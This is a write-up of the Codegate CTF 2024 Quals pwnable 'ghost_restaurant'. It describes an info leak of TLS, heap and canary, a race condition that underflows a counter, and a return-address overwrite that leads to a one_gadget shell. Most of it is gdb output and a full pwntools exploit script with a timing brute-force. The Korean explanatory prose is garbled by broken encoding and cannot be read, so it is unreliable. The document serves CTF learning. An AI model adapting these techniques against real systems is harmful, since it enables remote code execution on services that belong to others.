Codegate CTF 2024 Quals - ghost_restaurant (without shadow stack)
๋ชฉ์ฐจ
Codegate CTF 2024 Quals pwnable challenge ์ด ์ธ์๋ ์ฌ์ฉ๋๋ ๊ตฌ์กฐ์ฒด๊ฐ ๋ช๊ฐ ์์ง๋ง ๋ฌธ์ ํ์ด์ ์ค์ํ ๊ตฌ์กฐ์ฒด๋ง ์ ๋ฆฌํ์๋ค. ์ด ๋ ์ด ์ธ์ ๋ค๋ฅธ ๋ฐฉ๋ฒ์ผ๋ก๋ ํ์ฌ ๋ค์ด๊ฐ์๋ ์ฌ๊ธฐ์์ ๋ฐ์ํ๋ ์ทจ์ฝ์ ์ ์์ ๊ฐ์ ๋ฐฉ์์ผ๋ก race condition์ด ๋ฐ์ํ๊ฒ ๋๋ค๋ฉด ์ฐธ๊ณ ๋ก ๋ฐ๋ผ์ ๋ค์๊ณผ ๊ฐ์ด payload๋ฅผ ์์ฑํ๋ค. ์ด ๋ TLS์ ์์น๊ฐ libc์ ๋ฐ๋ก ์ ์์ญ์ ํ ๋น๋๋ฏ๋ก offset์ ๊ณ์ฐํ๋ฉด libc base๋ ํ๋ํ ์ ์๋ค. Race condition์ ํธ๋ฆฌ๊ฑฐํ๊ธฐ ์ํ sleep time์ ๊ตฌํ๊ธฐ ์ํด brute force๋ฅผ ์ํํ๋ payload๋ฅผ ์์ฑํ๋ค. ์ค์ง์ ์ผ๋ก๋ information leak์ ์ํํ ํ์ race condition์ ํธ๋ฆฌ๊ฑฐํ๋ฏ๋ก ๊ฐ์ ์ํฉ์ ๋ง๋ค์ด์ฃผ๊ธฐ ์ํด information leak์ ์ํ payload๋ ์ค๊ฐ์ ์์ฑํด์ผ ์ ํํ time์ ๊ตฌํ ์ ์๋ค. ํธ๋ฆฌ๊ฑฐ ์ฑ๊ณต ์ ์ด ๋ ์
๋ ฅํ๋ ๊ทธ ๊ฒฐ๊ณผ ์ ๋นํ sleep time์ ๊ตฌํ ์ ์์๋ค. ๋ค๋ง ์ฌ๋ฌ ๋ฒ ์คํํ๋ฉด ๋ฉ๋ชจ๋ฆฌ ์ด์ ๋๋ฌธ์ธ์ง time window๊ฐ ์กฐ๊ธ์ฉ ๋ฐ๋ฆฌ๋ ๋ชจ์์ด๋ค. Race condition์ ํธ๋ฆฌ๊ฑฐํ ํ gdb์์ ์ด ์ค 3๋ฒ ์ฐ๋ ๋๊ฐ ์์ ๊ฐ์ด ๋งค ์ด๋ง๋ค ๋ํ ์์ leakํ TLS์๋ ๋ค๋ฅธ TLS ์์ญ์ ํ ๋น๋ฐ์ stack์ผ๋ก ํ์ฉํ๊ณ ์๋ค. Call stack์ ๋ณด๋ฉด ์ด๋ ๊ฒ ์๋ณธ ๋ฌธ์ ๋ shadow stack์ด ์ ์ฉ๋์ด์์ผ๋ ์ฌ๊ธฐ์์๋ shadow stack์ด ์๋ ํ๊ฒฝ์ด๊ธฐ ๋๋ฌธ์ ์ด return address๋ฅผ ๋ฎ์ด์ RIP control์ด ๊ฐ๋ฅํ๋ค. Race condition ํธ๋ฆฌ๊ฑฐ์ ์ฑ๊ณตํ๋ฉด ๋ง์นจ ํ์ฉํ ์ ์๋ one shot ๊ฐ์ ฏ์ด ์์ด์ one shot ๊ฐ์ ฏ์ ์ฃผ์๋ก ๋ฎ์ด์ฃผ์๋ค. 0x00. Introduction
[*] '/home/user/ghost_restaurant'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled Structure
struct food {
char name[0x40];
long cook_time;
long left_time;
} Concept
oven์ ์์ฑํด์ ์ ํํ๋ฉด cook_1928 ์ฐ๋ ๋๊ฐ ์์ฑ๋์ด food๋ฅผ insertํ๊ฑฐ๋ removeํ ์ ์๋ค.insert ์ ์
๋ ฅํ cook_time๋งํผ์ ์๊ฐ์ด ์ง๋๋ฉด food๊ฐ ์์ฑ๋๋ค. ์ด ๋ ์๊ฐ์ ๊ฐ์์ํค๊ณ ์๊ฐ์ด ๋ค ์ง๋ฌ๋์ง ํ์ธํ๋ ๊ณผ์ ์ start_routine_16B1 ์ฐ๋ ๋๋ฅผ ํตํด ์ด๋ฃจ์ด์ง๋ค. 0x01. Vulnerability
Information Leak
cook_time์ด ๋ค ๋์ด์๋ , remove๋ฅผ ํด์๋ food๊ฐ ์ญ์ ๋ ๋ ๋ค์๊ณผ ๊ฐ์ ๋ก์ง์ ํตํด ๋ฉ๋ชจ๋ฆฌ๊ฐ ๋ณ๊ฒฝ๋๋ค.printf("Select food to remove in '%s':\n", oven->name);
__isoc99_scanf("%d", &tmp);
for ( i = tmp; i < food_count; ++i )
{
food_next = food[i + 1];
food_cur = food[i];
memcpy(food_cur, food_next, 0x50);
}food๊ฐ ๊ฝ ์ฐผ์ ๋๋ food[i + 1]์์ ๋ฐ์ดํฐ๋ฅผ ๋ณต์ฌํ๋ฏ๋ก food ๊ตฌ์กฐ์ฒด ๋ค์ ์์ญ์ ์ค์ํ ๋ฐ์ดํฐ๊ฐ ์๋ค๋ฉด leak์ด ๊ฐ๋ฅํ๋ค. Race Condition
food์ ๋จ์ ์๊ฐ์ ์ฒดํฌํ๋ start_routine_16B1์ ์ฝ๋๋ฅผ ๋ณด๋ฉด,void __fastcall __noreturn start_routine_16B1(struct argument *a1)
{
...
while ( 1 )
{
if ( *(__int64 *)arg->count > 0 )
{
for ( i = 0; i < *(_QWORD *)arg->count; ++i )
{
if ( arg->food[i].left_time > 0 )
{
food_tmp = &arg->food[i];
if ( !--food_tmp->left_time )
{
printf("'%s' is ready!\n", arg->food[i].name);
...
for ( j = i; j < *(_QWORD *)arg->count; ++j )
{
food_next = &arg->food[j + 1];
food_cur = &arg->food[j];
memcpy(food_cur, food_next, 0x50);
}
--*(_QWORD *)arg->count;
}
}
}
}
sleep(1u);
}
}left_time์ด 0์ด ๋์ ๋ ํด๋น food ๊ตฌ์กฐ์ฒด ์ดํ์ ๊ตฌ์กฐ์ฒด๋ค์ ํ ์นธ์ฉ ์์ผ๋ก ๋ก๊ฒจ์ฃผ๊ณ food_count๋ฅผ ๊ฐ์์ํจ๋ค.food๋ฅผ ์ ๊ฑฐํ ์ ์๋๋ฐ cook_1928์ ์ฝ๋๋ฅผ ๋ณด๋ฉด,void *__fastcall cook_1928(struct oven *a1)
{
...
while ( 1 )
{
pthread_mutex_lock((pthread_mutex_t *)oven->mutex);
while ( !LODWORD(oven->ready) )
pthread_cond_wait((pthread_cond_t *)oven->cond, (pthread_mutex_t *)oven->mutex);
...
__isoc99_scanf("%d", &choice);
...
if ( choice == 2 )
{
printf("Select food to remove in '%s':\n", oven->name);
...
__isoc99_scanf("%d", &tmp);
if ( (int)tmp <= (__int64)__readfsqword(0xFFFFFE90) && (int)tmp > 0 )
{
LODWORD(tmp) = tmp - 1;
for ( m = tmp; m < (__int64)__readfsqword(0xFFFFFE90); ++m )
{
food_cur = (struct food *)(__readfsqword(0) + 0x50LL * m - 0x160);
food_next = (struct food *)(__readfsqword(0) + 0x50LL * (m + 1) - 0x160);
memcpy(food_cur, food_next, 0x50);
}
__writefsqword(0xFFFFFE90, __readfsqword(0xFFFFFE90) - 1);
goto LABEL_39;
}
LABEL_19:
puts("Invalid choice.");
pthread_mutex_unlock((pthread_mutex_t *)oven->mutex);
}
LABEL_39:
pthread_mutex_unlock((pthread_mutex_t *)oven->mutex);
}
...
}food์ ๋ชฉ๋ก์ ์ถ๋ ฅํด์ฃผ๊ณ tmp์ ์ ๊ฑฐํ food์ ์ธ๋ฑ์ค๋ฅผ ๋ฐ์์ ์ญ์ ํ ํ 26๋ฒ ๋ผ์ธ์ __writefsqword()๋ฅผ ํตํด food_count ๊ฐ์ ๊ฐ์์ํจ๋ค.start_routine_16B1์์ ์๊ฐ์ด ๋ค ๋์ ๋ food_count๋ฅผ ๊ฐ์์ํค๋ ์ฝ๋๊ฐ critical section์ผ๋ก ๊ด๋ฆฌ๋์ง ์๋๋ค. ๋ฐ๋ผ์ cook_1928์ remove ๋ก์ง๊ณผ ๋์์ ์คํ๋ ์ ์๊ธฐ ๋๋ฌธ์ race condition์ด ๋ฐ์ํ๋ค.cook_1928start_routine_16B1if ( tmp <= __readfsqword(0xFFFFFE90) && tmp > 0 )food_next = &arg->food[j + 1];food_cur = (__readfsqword(0) + 0x50LL * m - 0x160);food_cur = &arg->food[j];food_next = (__readfsqword(0) + 0x50LL * (m + 1) - 0x160);memcpy(food_cur, food_next, 0x50);memcpy(food_cur, food_next, 0x50);--*(_QWORD *)arg->count;__writefsqword(0xFFFFFE90, __readfsqword(0xFFFFFE90) - 1);insert๋ฅผ ํ๋ฒ ํ๋๋ผ๋ ๊ฐ์ ๊ฐ์๊ฐ ๋๋ฒ ์ด๋ฃจ์ด์ ธ food_count์ underflow๊ฐ ๋ฐ์ํ ์ ์๋ค. 0x02. Exploit
Information Leak
food[0]์ ๊ธฐ์ค์ผ๋ก food์ ์ฌ์ด์ฆ์ธ 0x50์ฉ ๋ฉ๋ชจ๋ฆฌ๋ฅผ ์ถ๋ ฅํ๋ค๋ณด๋ฉด ๋ค์ ์์ญ์ ํ์ธํ ์ ์๋ค.gefโค
0x7ffff7da56a0: 0x0000000000000000 0x0000000000000000
0x7ffff7da56b0: 0x0000000000000000 0x0000000000000000
0x7ffff7da56c0: 0x00007ffff7da56c0 0x000055555555a960
0x7ffff7da56d0: 0x00007ffff7da56c0 0x0000000000000001
0x7ffff7da56e0: 0x0000000000000000 0x3ce1f8458248c000food[4]์ ํด๋นํ๋ ์์ญ์ ์์ ๊ฐ์ด TLS(Thread Local Storage), heap ์์ญ์ ๋ํ ์ฃผ์์ ์ด ๋ฌธ์ ์์ ํ์ํ์ง๋ ์์ง๋ง canary ๊ฐ์ด ์ ์ฅ๋์ด์๋ค. food๋ ์ต๋ 4๊ฐ๊น์ง insertํ ์ ์์ผ๋ฏ๋ก food[0]~food[3]๊น์ง ์์ฑํ๋ค๊ฐ food[0]์ remove๋ฅผ ํ๋ฉด food[4]์ ๋ฐ์ดํฐ๋ฅผ food[3]์ ๋ณต์ฌํ๋ค. ์ด๋ฐ ์์ผ๋ก food[0]์ 4๋ฒ removeํ๋ฉด food[4] ์์ญ์ ๋ฐ์ดํฐ๊ฐ food[0]~food[3]์ ๋ณต์ฌ๊ฐ ๋๋ค.0x7ffff7da56c0์ ์ ์ฅ๋ 0x7ffff7da56c0๊ฐ TLS ์ฃผ์๋ก, __readfsqword(0)๋ฅผ ์คํํ์ ๋ ๋ฐํ๋๋ ๊ฐ์ด๋ค. ์ด ๊ฐ์ด ๋ค๋ฅธ ๊ฐ์ผ๋ก ๋ฐ๋๊ฒ ๋๋ฉด __readfsqword(0)์ ๊ฒฐ๊ณผ๊ฐ ๋ฐ๋ ๊ฐ์ผ๋ก ๋ฐํ๋์ด ์ฃผ์ํด์ผ ํ๋ค.printf("Foods in '%s':\n", oven->name);
for ( i = 0; i < (__int64)__readfsqword(0xFFFFFE90); ++i )
printf(
"%d. %s (cooking for %lld seconds, %lld seconds left)\n",
(unsigned int)(i + 1),
(const char *)(80LL * i + __readfsqword(0) - 0x160), // name; 0x00007ffff7d864e0
*(_QWORD *)(__readfsqword(0) + 0x50LL * i - 0x120), // cook_time
*(_QWORD *)(__readfsqword(0) + 0x50LL * i - 0x118)); // left_timefood.name์ ์ถ๋ ฅ์ %s๋ก ํด์ฃผ๊ธฐ ๋๋ฌธ์ ์ค๊ฐ์ ์๋ \x00๋ค์ ์ฑ์์ฃผ์ด์ผ ํ๋ค. ์ด ์กฐ๊ฑด์ name์ ํ ์ ๊ณ ๋ฅผ ์ ์๋ hidden choice๋ฅผ ํ๋ฉด ํธ์ถ๋๋ read()๋ฅผ ํตํด ํด๊ฒฐํ ์ ์๋ค.if ( food_choice == 4 ) // hidden
{
pthread_mutex_lock(&prompt_mutex_5100);
printf("Enter food name for spacial food: ");
read(0, (void *)(__readfsqword(0) - 0x160 + 0x50 * __readfsqword(0xFFFFFE90)), 0x40uLL); // name; 0x00007ffff7d864e0
pthread_mutex_unlock(&prompt_mutex_5100);
} create_oven(s, b"1111")
select_oven(s, b"1")
for _ in range(4):
insert_food(s, b"1", 12345)
for _ in range(4):
remove_food(s, b"1")
insert_food(s, b"5", 12345, b"A" * 0x20)
r = insert_food(s, b"5", 12345, b"B" * 0x28)
tls = u64(r.split(b"A" * 0x20)[1].split(b" ")[0] + b"\x00\x00")
libc = tls + 0x3940
heap = u64(r.split(b"B" * 0x28)[2].split(b" ")[0] + b"\x00\x00") - 0x960
remove_food(s, b"1")
remove_food(s, b"1") Race Condition
def brute_force_time(port):
context.log_level = 'error'
for i in range(10000):
s = remote("0.0.0.0", port)
s.recvuntil(b"option: ")
create_oven(s, b"1111")
select_oven(s, b"1")
# code for information leak
insert_food(s, b"1", 1)
sleep_time = 0.95 + i / 10000
sleep(sleep_time)
remove_food(s, b"1")
r = insert_food(s, b"1", 60)
if len(r.split(b"\n")) > 60:
print(f"success : {sleep_time}")
s.close()
print(f'\rProgress: {i} / 10000\r', end='')food_count๊ฐ -1์ด ๋๊ณ ์ด ๋ insert๋ฅผ ํ๋ฉด food[-1]์ ๋ฐ์ดํฐ๋ฅผ ์ธ ์ ์๊ฒ๋๋ค.food[-1] : 0x00007ffff7da5510 -> name[0x40]
0x00007ffff7da5520
0x00007ffff7da5530
0x00007ffff7da5540
food_count : 0x00007ffff7da5550 -> cook_time[0x8], left_time[0x8]
food[0] : 0x00007ffff7da5560 -> name[0x40]
0x00007ffff7da5570
0x00007ffff7da5580
0x00007ffff7da5590
0x00007ffff7da55a0 -> cook_time[0x8], left_time[0x8]
0x00007ffff7da55b0
...
TLS : 0x00007ffff7da56c0
...
LIBC : 0x00007ffff7da9000cook_time์ด food_count ์์น์ ์ฐ์ฌ์ง๊ธฐ ๋๋ฌธ์ cook_time์ 60์ผ๋ก ์
๋ ฅํ๋ฉด food_count๊ฐ 60์ธ ๊ฒ์ผ๋ก ์ธ์๋์ด food๋ฅผ 60๊ฐ ์ถ๋ ฅํด์ค๋ค. ๋ฐ๋ผ์ ํธ๋ฆฌ๊ฑฐ ์ฑ๊ณต ์ฌ๋ถ๋ฅผ ์ถ๋ ฅ๋๋ food์ ๊ฐ์๋ก ํ๋จํ๊ฒ๋ payload๋ฅผ ์์ฑํ๋ค.โ python3 exploit.py -p 8798 -d 0 -b 1
success : 0.981
success : 0.9814
success : 0.9816 RIP Control
info threads๋ฅผ ํตํด ์ฐ๋ ๋ ์ ๋ณด๋ฅผ ํ์ธํด๋ณด๋ฉด ๋ค์๊ณผ ๊ฐ๋ค.gefโค info threads
Id Target Id Frame
1 LWP 974101 "chall" 0x00007ffff7e41d61 in ?? () from ./lib/x86_64-linux-gnu/libc.so.6
* 2 LWP 974149 "chall" 0x0000555555555e51 in ?? ()
3 LWP 974150 "chall" 0x00007ffff7e95adf in clock_nanosleep () from ./lib/x86_64-linux-gnu/libc.so.6start_routine_16B1์ด ์คํ๋๋ ์ฐ๋ ๋๋ก, thread 3 ๋ช
๋ น์ ํตํด context๋ฅผ switchํด๋ณด๋ฉด,[#0] 0x7ffff7e95adf โ clock_nanosleep()
[#1] 0x7ffff7ea2a27 โ nanosleep()
[#2] 0x7ffff7eb7c63 โ sleep()
[#3] 0x555555555923 โ jmp 0x5555555556d9
[#4] 0x7ffff7e45a94 โ jmp 0x7ffff7e4586d
[#5] 0x7ffff7ed2a34 โ clone()
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
gefโค p $rsp
$1 = (void *) 0x7ffff75a3c20
gefโค vmmap 0x7ffff75a3c20
[ Legend: Code | Heap | Stack ]
Start End Offset Perm Path
0x00007ffff6da5000 0x00007ffff75a5000 0x0000000000000000 rw-left_time์ ๊ฐ์์ํค๊ณ food๊ฐ ์์ฑ๋์๋์ง ํ์ธํ๊ธฐ ์ํด์ clock_nanosleep()์ ์คํํ๊ณ ์๋ค.sleep() -> nanosleep() -> clock_nanosleep() ์์ผ๋ก ํธ์ถ์ด ๋์๋๋ฐ, ๋ฌด์ธ๊ฐ overwrite๋ฅผ ํ๊ธฐ ์ํด์๋ผ๋ฉด ํธ์ถ ์ฃผ๊ธฐ๊ฐ ๊ธด sleep()์ ํ๊ฒ์ผ๋ก ๋๋ฒ๊น
์ ํ๋ค๋ณด๋ฉด, โ 0x7ffff7eb7c84 <sleep+100> ret
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ threads โโโโ
[#0] Id 1, Name: "chall", stopped 0x7ffff7e41d61 in ?? (), reason: SINGLE STEP
[#1] Id 2, Name: "chall", stopped 0x7ffff7ec4a9a in read (), reason: SINGLE STEP
[#2] Id 3, Name: "chall", stopped 0x7ffff7eb7c84 in sleep (), reason: SINGLE STEP
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ trace โโโโ
[#0] 0x7ffff7eb7c84 โ sleep()
[#1] 0x555555555923 โ jmp 0x5555555556d9
[#2] 0x7ffff7e45a94 โ jmp 0x7ffff7e4586d
[#3] 0x7ffff7ed2a34 โ clone()
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
gefโค x/gx $rsp
0x7ffff75a3ce8: 0x0000555555555923sleep()์ด ret๋ฅผ ํ๋ ์๊ฐ์ด ์ค๊ณ ์ด ๋ rsp๋ 0x7ffff75a3ce8๋ฅผ ๊ฐ๋ฆฌํค๊ณ ์๋ค. ์ด ์ฃผ์๋ ์์ leakํ 0x7ffff7da56c0์ ๋ค๋ฅธ TLS ์์ญ์ ์ฃผ์์ด๊ธด ํ์ง๋ง, TLS ์ฌ์ด์ offset์ด ์ผ์ ํ๊ฒ ํ ๋น์ด ๋์ด offset์ ๊ณ์ฐํด์ฃผ๋ฉด ํด๋น ์์ญ์ ์ ๊ทผํ ์ ์๋ค.food_count๊ฐ -1์ด ๋๊ณ , ์ด๋ก ์ธํด food[-1].cook_time์ด food_count์ ์์น์ ์ฐ์ด๋ฉด์ ํฐ ๊ฐ์ ๊ฐ๊ฒ ๋๋ค. ๋ฐ๋ผ์ index๋ฅผ ์ ์ ํ ์ด์ฉํ๋ฉด ๋ค์๊ณผ ๊ฐ์ด thread 3์์ ํธ์ถ๋๋ sleep()์ return address์ ๊ฐ์ ์ฐ๋ ๊ฒ์ด ๊ฐ๋ฅํ๋ค. insert_food(s, b"1", 1)
sleep(0.9813)
remove_food(s, b"1")
food = 0x7ffff7da5560
ret_sleep = 0x7ffff75a3ce0
index = (food - ret_sleep) // 0x50 + 1
print(insert_food(s, b"1", index * -1))
one_gadget = 0x583dc
payload = b"A" * 8
payload += p64(libc + one_gadget)
insert_food(s, b"5", 12345, payload) 0x03. Payload
from pwn import *
from pwnlib.util.packing import p32, p64, u32, u64
from time import sleep
from argparse import ArgumentParser
BINARY = "chall"
LIBRARY = "libc.so.6"
CONTAINER = "2206a2d4bc57"
code_base = 0x0000555555554000
bp = {
'cook' : code_base + 0x1928,
'dec_count_cook' : code_base + 0x21F9,
'read_insert_cook' : code_base + 0x1E51,
'remove_cook' : code_base + 0x1F9D,
'go_back_cook' : code_base + 0x221A,
'ret_print_oven' : code_base + 0x16B0,
}
gs = f'''
continue
b *{bp['dec_count_cook']}
b *{bp['read_insert_cook']}
continue
'''
context.terminal = ['tmux', 'splitw', '-hf']
def create_oven(s, name):
s.sendline(b"0")
s.recvuntil(b"name: ")
s.sendline(name)
return s.recvuntil(b"option: ")
def select_oven(s, number):
s.sendline(number)
return s.recvuntil(b"option: ")
def insert_food(s, number, time, name=""):
s.sendline(b"1")
s.recvuntil(b"> ")
s.sendline(number)
s.recvuntil(b"(seconds): ")
s.sendline(str(time).encode())
if number == b"5":
s.recvuntil(b"food: ")
s.send(name)
return s.recvuntil(b"option: ")
def remove_food(s, number):
s.sendline(b"2")
s.recvuntil(b"> ")
s.sendline(number)
return s.recvuntil(b"option: ")
def go_back(s):
s.sendline(b"3")
return s.recvuntil(b"option: ")
def brute_force_time(port):
context.log_level = 'error'
for i in range(10000):
s = remote("0.0.0.0", port)
s.recvuntil(b"option: ")
create_oven(s, b"1111")
select_oven(s, b"1")
for _ in range(4):
insert_food(s, b"1", 12345)
for _ in range(4):
remove_food(s, b"1")
insert_food(s, b"5", 12345, b"A" * 0x20)
r = insert_food(s, b"5", 12345, b"B" * 0x28)
tls = u64(r.split(b"A" * 0x20)[1].split(b" ")[0] + b"\x00\x00")
libc = tls + 0x3940
heap = u64(r.split(b"B" * 0x28)[2].split(b" ")[0] + b"\x00\x00") - 0x960
remove_food(s, b"1")
remove_food(s, b"1")
insert_food(s, b"1", 1)
sleep_time = 0.98 + i / 10000
sleep(sleep_time)
remove_food(s, b"1")
r = insert_food(s, b"1", 60)
if len(r.split(b"\n")) > 60:
print(f"success : {sleep_time}")
s.close()
print(f'\rProgress: {i} / 10000\r', end='')
def main(port, debug, brute_force):
if(brute_force):
brute_force_time(port)
if(port):
s = remote("0.0.0.0", port)
if debug:
pid = os.popen(f"sudo docker top {CONTAINER} -eo pid,comm | grep {BINARY} | awk '{{print $1}}'").read()
gdb.attach(int(pid), gs, exe=BINARY, sysroot="./")
else:
s = process(BINARY, env={"LD_PRELOAD" : LIBRARY})
if debug:
gdb.attach(s, gs)
elf = ELF(BINARY)
lib = ELF(LIBRARY)
s.recvuntil(b"option: ")
create_oven(s, b"1111")
select_oven(s, b"1")
# information leak
for _ in range(4):
insert_food(s, b"1", 12345)
for _ in range(4):
remove_food(s, b"1")
insert_food(s, b"5", 12345, b"A" * 0x20)
r = insert_food(s, b"5", 12345, b"B" * 0x28)
tls = u64(r.split(b"A" * 0x20)[1].split(b" ")[0] + b"\x00\x00")
libc = tls + 0x3940
heap = u64(r.split(b"B" * 0x28)[2].split(b" ")[0] + b"\x00\x00") - 0x960
remove_food(s, b"1")
remove_food(s, b"1")
# trigger race condition
insert_food(s, b"1", 1)
sleep(0.9814)
remove_food(s, b"1")
# overwrite food_count
food = 0x7ffff7da5560
ret_sleep = 0x7ffff75a3ce0
index = (food - ret_sleep) // 0x50 + 1
print(insert_food(s, b"1", index * -1))
# overwrite ret of sleep() in thread 3
one_gadget = 0x583dc
payload = b"A" * 8
payload += p64(libc + one_gadget)
insert_food(s, b"5", 12345, payload)
s.interactive()
if __name__=='__main__':
parser = ArgumentParser()
parser.add_argument('-p', '--port', type=int)
parser.add_argument('-d', '--debug', type=int, default=1)
parser.add_argument('-b', '--brute_force', type=int, default=0)
args = parser.parse_args()
main(args.port, args.debug, args.brute_force)